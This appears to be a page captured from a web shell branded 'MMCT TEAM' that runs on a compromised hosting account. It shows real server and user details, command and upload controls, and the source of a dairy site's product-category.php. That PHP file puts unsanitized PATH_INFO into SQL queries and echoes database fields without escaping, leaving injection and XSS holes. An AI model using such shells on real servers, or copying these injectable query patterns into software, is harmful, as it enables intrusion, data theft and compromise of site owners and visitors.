MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.15.211.41
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/ppcad7no/milkodelight.com/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/milkodelight.com/product-category.php
<?php
    include_once('admin/config.php');
    $slug_name = $_GET['slug_link'];
    if(isset($_SERVER['PATH_INFO'])){
    $slug_name=$_SERVER['PATH_INFO'];
    $querydt="SELECT * FROM `tbl_product` WHERE `slug_link`='$slug_name'";
    $rundt = mysqli_query($db,$querydt) or die("Query Not run");
    $datadt = mysqli_fetch_assoc($rundt);
 }
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>
    <?php
    if (isset($datadt["meta_title"]) && !empty($datadt["meta_title"])) {
        echo $datadt["meta_title"];
    } else {
        echo $datadt["product_name"];
    }
    ?>
    </title>
    <meta name="description" content="<?php echo $datadt["meta_desc"];?>">
    <?php include "top-links.php";?>
</head>
<body>
    
<?php include "header.php";?>

    <div class="bd-breadcrumb__area include__bg hero__overlay Breadcrumb__height d-flex align-items-center" data-background="<?php echo $wspath?>assets/img/hero/breadcrumb.jpg">
        <div class="container fluid">
            <div class="row">
               <div class="col-xl-12">
                  <div class="bd-breadcrumb__menu">
                     <nav aria-label="Breadcrumbs" class="breadcrumb-trail breadcrumbs">
                        <ul class="trail-items">
                           <li class="trail-item trail-begin"><span><a href="<?php echo $wspath?>">Home</a></span></li>
                           <li class="trail-item trail-end"><span><?php echo $datadt["product_name"];?></span></li>
                        </ul>
                     </nav>
                  </div>
                  <div class="bd-breadcrumb__title">
                     <h1 style="font-size:30px;"><?php echo $datadt["product_name"];?></h1>
                  </div>
               </div>
            </div>
        </div>
    </div>

    <section class="bd-product__area pt-60 pb-60">
        <div class="container">
            <div class="bd-section__title-wrapper mb-50">
                <span class="bd-sub__title">Products</span>
                <h2 class="bd-section__title"><?php echo $datadt["product_name"];?></h2>
            </div>
        <div class="row">
            <div class="col-xxl-12">
               <div class="product__filter-tab">
                  <div class="tab-content" id="nav-tabContent">
                     <div class="tab-pane fade active show" id="nav-grid" role="tabpanel" aria-labelledby="nav-grid-tab">
                        <div class="row">
                            <?php
                                $mid=$datadt['p_id'];
                                $sqlpro = "SELECT * FROM `tbl_services` WHERE cat_id='$mid'";
                                $runpro = mysqli_query($db,$sqlpro) or die("Query Not run");
                                while($datapro = mysqli_fetch_assoc($runpro)){
                            ?>
                            
                           <div class="col-xl-3 col-lg-4 col-md-6">
                              <div class="bd-product__item text-center mb-30">
                                 <div class="bd-product__img">
                                    <a href="<?php echo $wspath?><?php echo $datapro['url_link'];?>.html">
                                    <img src="<?php echo $wspath?>admin/images/<?php echo $datapro['img2'];?>" alt="<?= str_replace("LOCATION",$location,$datapro["property_name"]);?>">
                                    </a>
                                 </div>
                                 <div class="bd-product__content">
                                    <a href="<?php echo $wspath?><?php echo $datapro['url_link'];?>.html"><h4><?= str_replace("LOCATION",$location,$datapro["property_name"]);?></h4></a>
                                 </div>
                              </div>
                           </div>
                          <?php } ?>
                        </div>
                     </div>
                  </div>
               </div>
            </div>
         </div>
      </div>
   </section>

   <?php include "footer.php";?>
</body>
</html>

MMCT - 2023